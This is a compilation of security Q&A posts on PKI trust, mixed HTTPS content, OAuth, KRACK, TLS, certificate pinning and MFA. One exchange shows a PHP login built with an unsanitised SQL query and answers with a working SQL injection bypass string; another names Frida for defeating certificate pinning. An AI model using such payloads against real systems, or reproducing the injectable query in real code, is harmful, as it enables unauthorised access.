But in step 2, as the client machine connected first time (and the user can dynamically connect from any machine), how did Root CA authority get installed on the client machine?

For PKI, a set of trusted Root CA certificates is supplied with a device, an operating system, or a third-party software.

For example Microsoft, Google, Mozilla, or Apple maintain databases of trusted root certificates and provide them with their products:

Mozilla Included CA Certificate List
Trusted root certificates in iOS 10

Some other companies (like Lenovo or Dell) rather infamously used to add root certificates to their preinstalled OS.

In enterprise environments, additional certificates might be distributed to the workstations with the use of an administration software.

On the other hand, if by the "banking application" you mean an application installed on the client machine, then if it does not use PKI, the certificate must come bundled with the application.


Is my bank's website secure, if it uses partial HTTPS? My (not so small) bank has a website for doing transactions over the internet, and it has an HTTPS website for it. But my Firefox 29 wrote that the website is just partially encrypted. I did a little search with Wireshark and found out that there is only one element using HTTP (and not HTTPS):

<script type="text/javascript" src="/static/portal/impl/j/jwplayer.js" charset="utf-8">

and this .js file uses/downloads via HTTP (I can see it in the about:cache):

http://l.longtailvideo.com/download/5/10/logo.png

So if I want to log into my bank's website to send money to someone, I have to use a website that is only partially encrypted because of that .png file.

My question: Isn't this dangerous? If there is an element on the HTTPS website that is downloaded via HTTP, then it's possible to do "bad things", no? For example, can someone on my LAN replace that .png file with a javascript or some other malicious stuff?

The non-SSL download incurs the theoretical (and also practical) risk of being intercepted by an active attacker, who will make "something else" with it.

Javascript, by itself, cannot do downloads from outside of its own domain; that is the point of the Same-Origin Policy. Since the Javascript is loaded from the bank domain (foo.com) but the download is from l.longtailvideo.com, then one must assume that the Javascript instructed the browser to do the download, most probably by inserting an <img> tag in the page HTML.

Browsers are, generally speaking, quite well protected against malicious pictures; otherwise, you would get hacked when you do Google searches or access various forums, because in many forums one can embed links to external pictures.

In your case, the picture is the logo for a video player in Javascript/Flash (depending on what the browser can do); I think it is this one, although maybe an older version because their logo appears to have changed. This blog post indirectly tells us that the player with the logo you observe was the "latest version" more than two years ago.

What is the worst that could happen ? I suppose that the logo is displayed somewhere on the page. An industrious attacker could replace the logo contents with a picture of his own, possibly a bigger picture which would disrupt the page layout.

There are worse things, though. The attacker could return a HTTP "redirect" to make your browser send a GET request to any arbitrary other URL. You will probably find this past question interesting: it discusses what could happen with an <img> tag pointing to an attacker-controlled server. That applies to your case.

Anyway, the mere fact that your browser warns you is a bad thing: either the warning is important, and that's a security alert which should be treated as such; or the warning is spurious, and it trains the user into ignoring security warnings, which is not good at all in the long term.


A Method for Generating Un-Guessable Client Identifiers I am implementing an OAuth 2.0 authorisation server. As part of client registration process I want to generate the unique client identifier for this client.

The method I have chosen is to take all the client registration information and hash it using SHA-512. The client information includes:

client password (masked using bcrypt)
client type
client name
client web site uri
application name
url for logo image
client description
redirect uri
legal terms and conditions acceptance flag
registration active flag
create timestamp // when the client registered
update timestamp
deactivated timestamp

My question is whether it is safe to include the encrypted password when producing the SHA digest and whether this is a secure way to produce a unique client identifier.

OAuth documentation states that client identifiers are public and simply need to be unique for all clients of that authorization server. They also advise that the ID not be easily guessable to decrease phishing attacks.

The method you proposed is valid, but doesn't provide any additional security over a randomly generated number.

The client secret is the part that has to be cryptogrically secure.


What risks would exist in transmitting an encrypted PKCS12 via Https I have a scenario in which I would like to automate the deployment of client certificates generated by an issuer I control. The approach I am considering is given below, and I would appreciate feedback as to risks involved (or if this is more complex than necessary). The communications described would be SOAP style WCF over HTTPS.

A registration key is generated at the server.
The registration key is shared out of band with a person who will perform the registration.
The user uses the registration key to initiate registration.
The client system registering creates an in memory key pair
The client system transmits the registration info, including the public key for the in memory key pair, and the registration code.
The server validates the registration code, creates a client certificate and corresponding private key and an in memory PKCS12.
The server further encrypts the PKCS12 with the public key provided by the client.
The client receives the server response, decrypts the returned certificate data, and imports it into a local key store.

This is an accepted method.  For example, SecureWorks issues client certs over SSL following a registration process.  The risks profile is mostly as follows:

Ensuring registration can't be performed by someone other than the intended party; this is generic with other registration processes, and can be the largest risk to address.
The transfer of the key via HTTPS is not particularly risky.
Trusting the user to correctly handle their key once they get it.  Nothing you can do about this no matter how you get the key to them.
Ensuring protection of client keys on your end.  Are you going to escrow them so people can re-download them?  Or wipe them as soon as the client has them and generate a new one in the future as necessary?  The traditional "generate key on the client" preference largely has to do with well-founded distrust of the ability of other systems to forget the keys if they ever knew them.


OpenID Connect with user bound roles and M2M access I'm trying to get my head straight about how to properly design a OpenID connect provider and the roles to use with it. I understand the basic of scopes, claims and the different flow one can use. However, I'm trying to get my head around how I should handle the cases where i want M2M access to all resources, and a end user should only have access to his/her data.

My question is more related to how I should handle roles, is it overkill to have roles such as:

view_company_data
view_all_data

An example could be to provide a public API to access all data, e.g. collaborating companies, while also allowing me to have specific users to only access the data created by him/her. In my case that would be government body that wants access to all data, whilst the business owners should only have access to their own data.

I have an authentication provider, along with several resource servers. The business owners access their data through our client with only read/write permission for their own entity, and the government body wants access through our APIs to access all the data.

I wish to have all access control in a central entity, so generating access tokens on each separate resource server along with default JWT tokens from the authentication server seems like a bad idea. I'd rather handle it all from the authentication server.

Also a user should be able to generate these full-access tokens, given that they have an Global administration role.

So, what would be the right thing to do here?

OpenId connect is used to provide an authorization framework. Specific permissions are out of the scope of Oidc. Your problem is strictly a permission problem, and there isn't any absolute rule provided by oidc for that.
Of course, everybody is using the scopes to solve that, when required, but basically it really depends on your overall architecture and requirements. Basically there's 3 philosophies here:

The Oidc IP will only be used to define which user has access to which ressource (RP), with very limited access. The permission logic will be handled at each RP level. It usually means that on the first login, the user is cloned in the RP with no access and an admin grant him specific permissions when needed. Admin of the IP is simple because you only have to say user X has access to app Y, but admin of each app can be painful.
The Oidc IP will be used to handle permissions using scopes/roles. The permission logic is thus completely handled at the IP level. Hopefully the IP will provide realms logic to handle this otherwise it will become a nightmare.
A mixed logic, for example, in your use case the type of user (business or government) could be stored int he IP and provide basic permission for each type of user on creation. That means that permission is still handled by each RP, but, when the user is cloned, specific permissions are granted on creation depending on the type of user. More flexible, but rules on what permissions are handled at the IP level and what permissions are handled at the RP level should be very cleared defined, otherwise you'll most likely have a ton of problems, and potential vulnerabilities.

In my company we choose the third solution. Basically the IP always provide the user type (normal, admin, superuser) for each user/RP, and the user is created with limited rights (except for superuser) in the RP. Then we can fine tune the user permissions in the RP admin when needed. We also get have a "company" scope allowing us to link the user to its company and define its permissions depending on the company. On each connection we also check if the user type should be updated. Of course we use nonce/state and pkce flow with a private key signed token.


Websites know which other websites I visited? Google Chrome has a "do not track" option, but with a warning:

  Many websites will still collect and use your browsing data — for
  example to improve security, to provide content, services, ads and
  recommendations on their websites and to generate reporting
  statistics.

Does this mean websites know which other websites I visited? Like if I visit a website about cats, the site admin knows which dog websites I previously visited?

I had no idea they could do that. I thought the only ones that know all the sites I visited are Google, ISP, and the manufacturer of my PC.

For example I thought "cookie" was just to track info from my last visit to the same website that gave me the cookie.

Depends entirely on what cookies they use. If they only set cookies from their own domain (first-party cookies), they might be able to know that you visited their site before, but it wouldn't tell them anything about third party websites, in general.

If they set cookies from other sites (third party cookies), the third party might be able to tell that you have visited example.com, example.org, and example.net - but only if all of these sites include third party cookies from the same provider. Example.com wouldn't be able to tell that you'd also visited example.org, unless the third party told them (perhaps through an online dashboard), or you followed a link from example.org to example.com, and your browser set the "referrer" header when connecting.

Most third party cookies belong to large advertising companies, such as Google or Facebook, or to social network companies, such as Twitter or Facebook. Because these companies are included on a lot of sites for various reasons (enabling sharing functions, analytics monitoring, embedded feeds of data), they can easily build up a picture of where you have been.

When you opt out of tracking (the "do not track" option) on any of these sites, it just sets another cookie which tells them not to link any data about your online behaviour together.

Your ISP knows what sites you visit through different means - your data passes through their systems, so they can just grab out a list of where you have been. Depending on your country, it might be a legal requirement for them to store this data.

Your PC manufacturer, though, probably can't tell what websites you've been on, unless they pre-installed some tracking software (look up "Lenovo superfish" for an example of this), but this is not particularly common, since it causes all kinds of bad publicity for them, and doesn't provide them with any useful information.


I wrote a basic SQL Injection for my simple login php, but doesn't work I'm trying to bypass my login code below

I try:

Username : ' or ''='
Password : ' or ''='

and

Username : ' or 1--
Password :

Following is the php:

 <?php
require_once('conn.php');

$empID      = $_POST['empID'];
$password   = $_POST['password'];
$qry = mysql_query("SELECT * FROM `sf_ohem_login` WHERE  empID='$empID' && password='$password'") ;
$num = mysql_num_rows($qry);
if($num==0)
{
    $data["login"]="false";
    $data["empID"]= $empID;
    $data["msg"]="Login failed due to wrong credentials";
}
else
{
        $data["login"]="true";
        $data["empID"]= $empID;
        $data["password"]= $password;
}
echo json_encode($data);

Try:

1' or 1=1 --+

After injecting this query, your PHP code will work like this:

empID='1' or 1=1 --+


Symlinks from public_html to directory linking to files in custom home directory I have setup a multi-sites project on a VPS server with WHM and cPanel.

Codebase is installed on a custom created folder named sites inside the cPanel user account home directory, with a subdomain master.example.com which acts as the master site.

home/username/sites/master/public_html

I then have created slave sites, which consist of symbolic links to the master installation, but each one is configured to use its own database. They are only using the same code, from my master.

There are additional subdomains inside my above sites directory, each one with its own dir like so:

home/username/sites/sub1/public_html
home/username/sites/sub2/public_html

As well as my main domain, which is in the:

home/username/public_html

As said, all of the slave sites are practically symlinks to the files of my single webapp instance of my master site.

Due to some issues with Server Software that couldn't "understand" the above setup, the hosting provider informed me that linking my public_html folder to files that reside out of it and inside another folder of my home, breaks the compatibility with that software, and moreover it's extremely insecure and unsupported, as it opens the whole server to vulnerabilities, because these symbolic links can be used to gain access to the whole root filesystem.

So, now I need some input from you of the security industry.

Is the above configuration bad by nature and something that I should never do under any conditions?
Why it is bad to link my public_html to a folder files to a folder that is outside of it and specifically to the folder I mentioned above?
How the said symlinks could be used against me and to take control of the root filesystem?
What are the extra requirements I should consider, in order to have the above setup working without being insecure?

Since I do not know the technology on which you are working, Ill try to answer the questions in a generalized manner. Hope this will help.
 Answer to your above questions:

Is the above configuration bad by nature and something that I should never do under any conditions? - It depends on how much vulnerable you are to threats and attacks. That of course depends upon the reputation(daily visits) your website has.

Why it is bad to link my public_html to a folder files to a folder that is outside of it and specifically to the folder I mentioned above? - Because the link that you are using to join the public files to non-public files can be hijacked by adversaries to access your protected/non-public content.

How the said symlinks could be used against me and to take control of the root filesystem? - same as above

What are the extra requirements I should consider, in order to have the above setup working without being insecure? - You have to set up some seurity measure to make it sure only the trusted entities are gaining access to the protected space.


Storing credit cards to use for purchases on customer's behalf My client physically makes online purchases (through various websites) on his customer's behalf using their credit cards. His clients have basically said "here's my credit card, buy what you need to." Currently, I'm assuming he has his customer's credit card details locally stored in a file on his computer.

He would like to centralize the credit card information so that he can delegate the purchasing task to another employee while still being able to access and keep the card information updated himself.

Can anyone recommend a secure way to to accomplish this?

From what you've said, he clearly does not understand the enormous size of the risk he's taken with this.  I assume that if he is doing shopping for other people, those other people are wealthy, and have high dollar limit (possibly unlimited) credit cards.  He needs to be aware that if this data is stolen, he will be personally held liable for all the fraud committed.

If he has the cards of 10 million-dollar clients, he needs to treat these card numbers as if they were $10 million worth of diamonds.  He should keep them on a piece of paper, locked in a safe.  If it were me asking one of my employees to use a card, I would have them come into my office and ask me to type in the card number for them, instead of giving the card numbers away.

Some other piece of bad news is that if one of his clients' cards is stolen somewhere else (at a restaurant or gas pump skimmer), and if Visa learns he has stored these card numbers, they may hold him liable anyway -- even if he had nothing to do with the actual theft or fraud.

Making it easy to get at should be the opposite of what he wants.  He should instead be paranoid about who can get to this list.

Since he is lacking the security basics (demonstrated by failing to understand the value of what he's been entrusted with) I further doubt his ability to maintain a secure computing environment.  He needs to understand that he can't afford to trust this information to a computer that could be hacked in exchange for a little convenience.


How can I safely check whether an email link leads to a malicious website? Over the last few weeks, I've gotten several spam emails from different friends that only contained links to different websites.

I would like to click on those links and see what's on the website. My reasons are curiosity, the ability to understand how dangerous the website might be, and to differentiate between a product-spam email ("Buy product XYZ!") and a website that tries to do something dangerous to a computer.

I do not intend to use a production system, a system with my personal data on it, or something I am not willing to lose in the process; I am really just curious.

So what measures would I need to take in order to safely1 click on those links?

My ideas so far are:

Virtual Machine
Disable Flash, Java, JavaScript2, ... in the browser
Having an up-to-date OS / Antivirus
Use NoScript
Use external websites that check the linked website like: http://www.antihacksecurity.com/scan-a-website-for-virus-malware (link seems down?) beforehand

Footnotes:

I am almost certain that there is no way to really safely click those links, so maybe this should be called "minimize the risk when you..."
I am aware that disabling stuff might not give me a complete and real picture of the website, since I might not experience the intended effect and think "It's safe."

VPN Virtual Machine View-Source for those who know Javascript

[Tinfoil Hat (Mythic Warforged)] here.

If you are handy with Javascript and the like, I've always appreciated view-source:http://www.webaddress.com/ from the URL bar. For added tinfoil, do it behind a VPN, and a Virtual Machine.

The VPN is necessary just in case the attacker expects you to visit personally from your actual IP address. Your access attempt will show up in the visitor logs, but if they just get a random VPN, then Ho Ho Howned.

And the Virtual Machine is, of course, there to prevent strange attacks against the view-source page, which may or may not exist. Will not help against VM-escaping thingmabobs. Alternatively, you can programmatically open a socket connection (be wary of vulnerabilities in your chosen language) while behind a VPN, and use GET /page.html HTTP/1.0 to grab the HTML page, and then do the same for accompanying Javascript.

Look for funny things like zzz.saveToFile(), which usually indicate a drive-by download attempt. Same with intentionally obfuscated Javascript; it should not be trusted. Keep in mind that Minification and obfuscation are two different things.

Developer Console Watching (F12)

If you are handy with web development, and you want to see exactly what kind of odd funkiness is going on without having to completely follow the script line-by-line, then you can monitor changes as they happen with the developer console. This allows you to load the results of off-site/off-page Javascript that is generated dynamically.

Temporary Folder Watching

This is assuming you're behind a virtual machine. Obviously, you would not want to try this on your main machine.

Don't forget your temporary folder, which is usually %TEMP%. With drive-by downloads, they usually start saving executables to %TEMP%. You can see if such a thing occurs when you visit a page. They can be saved as .tmp files, which are later renamed to .exe. This is usually discovered by a function that looks like x.saveToFile()

Reset your Virtual Machine when you're done

Don't forget to reset your VM's state/snapshoot afterwards. You don't want to be infected long-term.


Is a newly installed server with no services running (but connected to the web) at risk? A new server has just been installed but literally has nothing else running on it, no services setup to SSH in or anything yet (it's a Linux server).

However, it is hooked up to the web so I can start pulling software down and installing it.

So here is the question, is it at risk whilst it is plugged in? Obviously no AV atm as mentioned above and also I'm not all that savvy on routers and the protection they can offer...

Hmm, maybe one thing to note is that it's the latest software so the server OS is up to date.

You could use nmap to get a better view of the (network)services it is running:

nmap -sS -v <your_server> -sV -p1-65535

and lsof to view the current inbound/outbound connections to the box.

lsof -i

If there are no processes listening on any port then the server is reasonably safe. If new services are installed(i.e. ssh server) it is recommended that strong(>8 characters, alpha numeric, upper case, lower case, special characters) passwords are used(with SSH some argue it's better to use public key authentication).
For added safety you could also install fail2ban and run an updating script regularly(i.e. as a cron job).

For example, an update script(on Debian/Ubuntu) may look like:

#!/bin/bash
sudo sh -c "apt-get update;apt-get dist-upgrade;apt-get autoremove;apt-get autoclean"

Installing fail2ban on Ubuntu/Debian can be done using:

sudo apt-get install fail2ban

In order to configure fail2ban it is recommended to make a copy of the default configuration file:

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

and work on the copy:

sudo vim /etc/fail2ban/jail.local

The most relevant entries are ignoreip, bantime, findtime and maxretry.

Increasing the bantime and maxretry values statistically improve security.


Haskell and Happstack security I'm currently investigating Haskell as a platform for secure web development. I'm leaning toward happstack for the web framework part, but I'm also investigating yesod and snap.

My gut feeling says that the way the language works (especially the combination of full purity and a powerful static type system) makes it an excellent choice, security-wise, and the frameworks themselves claim to be exceptionally secure by removing typical security issues and pitfalls found in other stacks.

However, I haven't been able to find any resources to back up this assumption, so what I'm looking for is security reports, research papers, or even informal documents, about security aspects of the Haskell toolchain (particularly GHC and the GHC RTS) and the aforementioned web frameworks (happstack, snap, yesod, and possibly others that may be suitable).

Has anyone performed security audits on either of these? Is there any documented theoretical or practical proof of the robustness and soundness of these tools? Are there any high-profile websites or applications running on either of these frameworks, and what is their security record?

This is a bit different from what you were asking for, but it might be of interest to you:

If you enjoy research papers, you might enjoy reading the following paper, which uses Haskell to provide certain security guarantees about web applications:

Static Enforcement of Web Application Integrity Through Strong Typing. Wil Robertson, Giovanni Vigna.  Usenix Security 2009.

And see also the Ur/Web project, which is a functional language and associated system used for web programming.  The functional language is used to provide strong security guarantees about the resulting web application and to help web developers avoid security problems in their web application.  If you're looking for research papers, see the following academic papers (warning: they are heavy going):

Static Checking of Dynamically-Varying Security Policies in Database-Backed Applications.  Adam Chlipala.  OSDI 2010.
Ur: Statically-Typed Metaprogramming with Type-Level Record Computation.  Adam Chlipala.  PLDI 2010.

You might find it easier to start with the Ur/Web tutorial instead of the latter two papers above.


HPET effects on CSPRNG for Linux OS HPET or High Precision Event Timer is a hardware built-in clock source available in most processors.

I would use the computer to generate CSPRNG and do cryptographic operations.

My question is: Is it better to enable HPET or leave it disabled. How does HPET influence the entropy pool on Linux (and /dev/random & /dev/urandom)? Will the computer have better entropy with HPET?

Performance is not a problem, I would like a good entropy, and cryptographically secure random numbers.

Linux uses TSC by default for its clock source due to its lower overhead, and only uses HPET as the fallback. The kernel gathers entropy from interrupt timing intervals, using the RDTSC instruction on x86 processors. Unless you do not have TSC support, then I do not believe disabling HPET will influence your entropy collection at all. Only on certain embedded processor architectures such as ARC will you have problems involving the lack of a high-resolution TSC instruction.


Does only having one end of a wifi connection patched reduce the risks from KRACK? From the official FAQ on the vulnerability (emphasis mine):

  So again, update all your devices once security updates are available. Finally, although an unpatched client can still connect to a patched AP, and vice versa, both the client and AP must be patched to defend against all attacks!

Does this mean that a subset of the collection of attacks discovered can be prevented even if only 1 end of the connection has been repaired?

This image from Arstechnica, apparently a screen capture from the initial presentation, shows various platform implementations being subject to different KRACK attacks.  This implies that at least part of the problem can be fixed from only the client side.

It's not clear what, or how much, client side only fixes can address.  Do these represent 6 different ways to do the same attack?  6 different ways to tamper with a compromised connection?  Something else?  A combination of the previous?

TL;TR: It is often (but not always) enough to properly patch the WiFi client. You need to patch the AP to if it provides client functionality (i.e. router) or has fast roaming (802.11r) enabled.

From my understanding it is essential for all the attacks that the client accepts message 3 of the 4-way handshake again and then reinstalls the same encryption key and resets nonce and replay protection.
This means if the client is patched to not accept a message 3 which contains the same key as already installed it will not reinstall the key and not reset nonce and replay protection. This should be sufficient to thwart the attack, no matter if the server is patched or not.

Also, directly taken from the https://www.krackattacks.com:

  What if there are no security updates for my router?

  Our main attack is against the 4-way handshake, and does not exploit
  access points, but instead targets clients. So it might be that your
  router does not require security updates. We strongly advise you to
  contact your vendor for more details. In general though, you can try
  to mitigate attacks against routers and access points by disabling
  client functionality (which is for example used in repeater modes) and
  disabling 802.11r (fast roaming). For ordinary home users, your
  priority should be updating clients such as laptops and smartphones.

Note that you could in theory also patch the AP to not retransmit message 3 of the handshake in case it did not receive message 4. This can be helpful in cases where patching the client is impossible.


Why isn't the record of a TLS data application exchange signed by the server? I am inspecting the TLS(1.2) protocol, and I notice that after the key exchange (handshake), data applications flows from server to client freely (because they have the session key).

However, I noticed that this content (say, the server response to a GET request) is NOT signed digitally by the server. That is, if some server sent me illegal content that I did not ask for, they could incriminate me for having that content later and I do not have any proof that it was they that send me this content. The record itself is no proof, as it could have been tampered with by me.

Also, see this question.

I would not expect the server to sign every application data exchanged, because this somehow defeats the purpose of exchanging a session key, but why not signing a hash (or a HMAC with the session key) with the private key of the server at the end of the communication? If both parties sign it, then as I see it, they both obtain benefits.

Notice

I am not trying to achieve non-repudiation. I know that even if I hold a valid server signature with a timestamp, it is not enough (keys can always be claimed stolen). But at least, it serves the purpose of proving the provenance of content.

... if some server sent me illegal content that I did not ask for, they could incriminate me for having that content later and I do not have any proof that it was they that send me this content.

You can neither proof that somebody has send you some content nor can someone proof that someone has not sent you this content. Also, if someone sends you incriminating content they most likely don't want you to be able to proof this anyway and thus would not use a transport method which lets you proof this.

  I would not expect the server to sign every application data exchanged ...  but why not signing a hash (or a HMAC with the session key) with the private key of the server at the end of the communication? If both parties sign it, then as I see it, they both obtain benefits.

This was simply not a design goal of TLS. TLS is designed to protect against sniffing or modifying by some man in the middle, not that some party can prove that the other has sent something. In other words: TLS is not a secure everything you want protocol but has a specific goal - which is not the goal you expect from it.

Additionally, in order to let both parties sign their sent data both parties need to have a certificate. While certificates for server are the most common case (but it can be done without, like with PSK) certificates for the client are uncommon.

Also, if the signature is only added at the end of the connection as you propose the peer might deliberately or accidentally close the connection before the signature was sent. It is common though that the data gets already processed while more data still get received - which make it possible to incriminate you but make it impossible for you to proof it.

  but why not signing a hash ... with the private key of the server at the end of the communication?

The purpose of certificates inside TLS is for authentication (and maybe key exchange - but this is deprecated and removed in TLS 1.3). Authentication needs to be secure at the moment it is done and thus the certificate needs to be sufficiently secure for the moment.

Signing instead should provide proof long after the data where transmitted. This means that the certificate might need to be stronger (depending how long the proof should be fine) and that the private key of the certificate needs to be protected for as long the proof should be fine. If the private key is not guaranteed to be protected that long somebody else might create faked signed messages or might successfully claim that what you present is faked.


How do persistent reverse shells and other malware gain their persistancy? I heard about persistent reverse shells, and how in theory, they can stay indefinitely on the target's system, and how they can connect back to the host when the target's machine boots up, but how do reverse shells gain their persistence? Do they copy themselves to the Windows Startup folder,  is there an external script which runs the program, or do write to a process?

They don't.

A reverse shell is just a technique to connect to and control a computer. On its own, a reverse shell has absolutely no persistence capabilities. In order to persist, it must be the payload of malware which does offer persistence. For example, malicious software set to run as a service could install a reverse shell.


Is there no way to bypass certificate pinning without patching apps? Can you do anything other than patching apps' compiled-code/cert-files (which is app-specific, requires manual analysis and patching + super-user/root) to intercept TLS traffic of apps that use certificate pinning?

The answer seems to be No, from mitmproxy's docs:

  Certificate Pinning

  Some applications employ Certificate Pinning to prevent man-in-the-middle attacks. This means that mitmproxy and
  mitmdump’s certificates will not be accepted by these applications
  without modifying them. It is recommended to use the passthrough
  feature in order to prevent mitmproxy and mitmdump from intercepting
  traffic to these specific domains. If you want to intercept the pinned
  connections, you need to patch the application manually. For Android
  and (jailbroken) iOS devices, various tools exist to accomplish this.

I understand that certificate pinning is part of the trust model of these apps, at the same time as a user, I would like to sniff/intercept their traffic for analysis, locally on my device, in order to make statistics/insights on my habits and behavior, from events such as emails sent (using ProtonMail), messages sent (using Signal/WhatsApp) or any event that can be deduced from the analysis of traffic (using something similar-to/as-powerful-as mitmproxy's Python scripting API or Scapy's filters).

No, there is no way to bypass certificate pinning without application patching or using debugger (tracer). The reason is that, in simple words, certificate pinning is when a CA certificate is hardcoded into application. This application sets the certificate as the only root of trust to establish a network connection. On Android it's carried out via TrustManager implementation.

You have the following options:

Reverse engineer, modify and re-pack application.
Attach Frida to unpin certificate (e.g. there is a code snippet for Android).
Attach Frida to read traffic right before encryption.

You don't need root (superuser, jailbreak) using a Frida Gadget which should be injected into application before installation. E.g. see how to use Frida without root on Android.

Pay attention, that in some cases applications don't have a real certificate pinning. For instance, there is a known issue that Android applications by default have a trust to ONLY system certificate storage, therefore user's custom MITM certificate just doesn't work there by default.


Possible to redact information in the clipboard, or to auto-redact when it hits a webpage? Sometimes when I paste information to a website I realize after I post the information that I inadvertently included an IP address, username, email address, or other information I'd like to consider private.

Is there a clipboard filter (or keyboard combination) that will filter the text prior to me posting it?

I had some success finding sample tools by doing a search for "clipboard regex". AutoHotKey is a Windows system utility and Firefox has a filtered clipboard plugin available as well.

Additionally, it seems that operating systems tend to make clipboard monitoring a fairly simple task to program, so you could write whatever filters you'd like yourself with relatively minor pain as programming projects go.


How to trace virtual phone number? Suppose I received a call from internet with some virtual number, I called the same number back after few days but it didn't exist at the time or it was routed to some other user.

Is there a way to reach the real person. Can I find out which service used to make these calls and then get that person info somehow?

If you have suffered some sort of harm from the calls (e.g. death threats or harassment), it is in theory possible to do this but it is an incredible amount of work, and is in practice near impossible unless your police get involved, which they will not do unless it is a serious matter.

You would need to obtain court orders from each ISP or telephony provider you require information from, which may be in several different countries, which would require showing cause, i.e. that some sort of criminal offence or tort had occurred, and that it is reasonable for you to demand cooperation from them as a third party.

This will cost tens of thousands of dollars/euros/pounds at least. You may also be required to pay the ISP costs of complying with the order, in addition to the very high costs of lawyers who work in this area.

And all to find out that it was a random phisher.

On the other hand if you have suffered no harm, and you cannot show a crime was committed, you will not be able to get the court orders and ISP cooperation you need.


Could this specific edit to the registry to fix UI scaling be harmful? I found this tutorial on how to fix UI scalling problems on high resolution screens. The tutorial tells me to edit the registry editor to that the computer runs some code that i have to copy from the site. Since i'm not that good at computer-stuff i can't tell if it will harm my computer.

I have to add a DWORD (32 bit) value with the title PreferExternalManifest and a value of 1 decimal to the HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Windows > CurrentVersion > SideBySide string in the registry editor.
Then i have to make a notepad-file with the title of the program + .manifest (example photoshop.exe.manifest) then i have to make the content of the notepad some code that i have to copy from the site.
This is the code:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3">

<dependency>
  <dependentAssembly>
    <assemblyIdentity
      type="win32"
      name="Microsoft.Windows.Common-Controls"
      version="6.0.0.0" processorArchitecture="*"
      publicKeyToken="6595b64144ccf1df"
      language="*">
    </assemblyIdentity>
  </dependentAssembly>
</dependency>

<dependency>
  <dependentAssembly>
    <assemblyIdentity
      type="win32"
      name="Microsoft.VC90.CRT"
      version="9.0.21022.8"
      processorArchitecture="amd64"
      publicKeyToken="1fc8b3b9a1e18e3b">
    </assemblyIdentity>
  </dependentAssembly>
</dependency>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  <security>
    <requestedPrivileges>
      <requestedExecutionLevel
        level="asInvoker"
        uiAccess="false"/>
    </requestedPrivileges>
  </security>
</trustInfo>

<asmv3:application>
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    <ms_windowsSettings:dpiAware xmlns:ms_windowsSettings="http://schemas.microsoft.com/SMI/2005/WindowsSettings">false</ms_windowsSettings:dpiAware>
  </asmv3:windowsSettings>
</asmv3:application>

</assembly>

Link to site: http://www.danantonielli.com/adobe-app-scaling-on-high-dpi-displays-fix/

No, this file is fine. It is a Application Manifest that tells Windows that a program has no support for high-resolution displays.
Application Manifests are used to tell Windows about certain capabilities or requirements for a program.

The registry key is used to override any internal manifest files that are embedded in the program executable.

Important: If there is already a .manifest file beside the program executable (e.g. photoshop.exe.manifest for Photoshop) don't delete or change it. Or at least make a backup of this file before tinkering.

Details:

The first two <dependency> blocks are references to two common Windows libraries. Without these the program may no function correctly. (If there is no .manifest file Windows assumes these two are necessary)

The <trustInfo> block says that the program does not require elevated privileges and should be run with the same rights as the user that started it.

The <application> block tells Windows that the application was written without support for different DPI settings.

More Info on MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa374191(v=vs.85).aspx


Multi-factor Out of Band Token authentication options suitable as per NIST recommendations 800-63B (published in June, 2017) In our web application project we are required to establish MF authentication with combination of memorised secret token (password) and Out of Bound token. Earlier we were planning to implement SMS for token delivery mechanism. But recent recommendation of NIST puts it in RESTRICTED category so this seems risky at the moment for two reasons:

As it is in RESTRICTED category, multiple support activities (like risk analysis, methods for situations like phone number portability, device change etc.) needs to be performed for successful compliance with any standard which adapts this framework. NIST says "Use of the PSTN for out-of-band verification is RESTRICTED as described in this section and in Section 5.2.10..."
Even if we implement it with cautions, NIST can mark it "forbidden" in near future (they have also mentioned it in paper). So in that case, complete change in method and implementation would be required. Which will definitely cause re-work.

So my problem revolves around these two questions:

What can be used as an alternative?
OOB token are generally supposed to work on a different band. If we use anything that works on web browser like GAuth would it be OK? In first impression everything (web application and authentication token application) seems to be working on same band.

RSA token are definitely a solution but it is not feasible for us to provide token for thousands of users.

Authenticator app (TOTP) also seems to be a solution but is it the only one? And if it is, what should be taken care of in order to maintain and justify OOB clause?

Please let me know if there is some different interpretation of NIST recommendations or any other aspect?

SMS as a second factor is no longer considered secure due to the ease of spoofing and interception of SMS.

For the most secure MFA, you should be using a device that is separate from any service you are accessing. This is increasingly challenging in a world where people are using phones for everything!

Until recently, many government security agencies would not allow you to use software tokens of any kind which also ruled out any app on a phone. Significant improvements in smartphone security (for some platforms at least) have seen recent changes in that stance and authenticator apps are now commonly used.

Other out-of-band one-time authenticators are also used including email and phone. Of course, each have their own issues and to my mind, the authenticator app remains the best option because at least it tends to be more obvious if the device is lost or stolen.

The one caveat that I would add though is for Android devices. Android should not be considered a secure device without careful choice of the hardware and the addition of security tools to harden the OS.


Google Account: implications of using application-specific passwords In the wake of the recent Mat Honan story I decided to try out two-factor authentication on my Google account. But in order to keep using it with Exchange, the Android OS, Google Talk and Google Chrome you have to create application-specific passwords.

Summary of the procedure

Let me get a few things straight. Do I understand the security implications of application-specific passwords correctly?

Google does not automatically disable app-specific passwords when they are suddenly used out of their expected context (e.g. to access e-mail even though it was set up for Chrome sync).
I have to generate additional passwords that all give immediate access to my account, bypassing two-factor authentication entirely. The higher the number of application-specific passwords the higher the chances are of a brute force attack succeeding.
These passwords have a fixed length and don't contain numbers or symbols, which make them more susceptible to brute force attacks than a password with unknown length containing letters, numbers and symbols.

Assuming that I want to keep using features like IMAP access (which would force me to make at least one app-specific password), would I be better or worse off using two-factor authentication?

You wrote (emphasis mine):

The higher the number of application-specific passwords the higher the chances are of a brute force attack succeeding.
These passwords have a fixed length and don't contain numbers or symbols, which make them more susceptible to brute force attacks than a password with unknown length containing letters, numbers and symbols.

Short answer: Not in any practical way.
Long answer:
Do the math: 16 lower case letters allows 26^16 different passwords, that is more than 10^22 = 10 × 1000^7 = ten sextillion possible passwords.
If the password is chosen randomly with equal probabilities (we have no reason to believe it is not the case), the odds of breaking the password by brute force are negligible, even if Google does not notice the attack and does not take any counter measure.
Even with 100 application specific passwords for one Google account, there is no way anyone would try this attack. The "susceptibility" to brute force attacks is zero.
And it is much easier on many smart phones to type a password made of only lower case letter than a combination of letters and digit or mixed-case letters (for the same number of possible passwords).
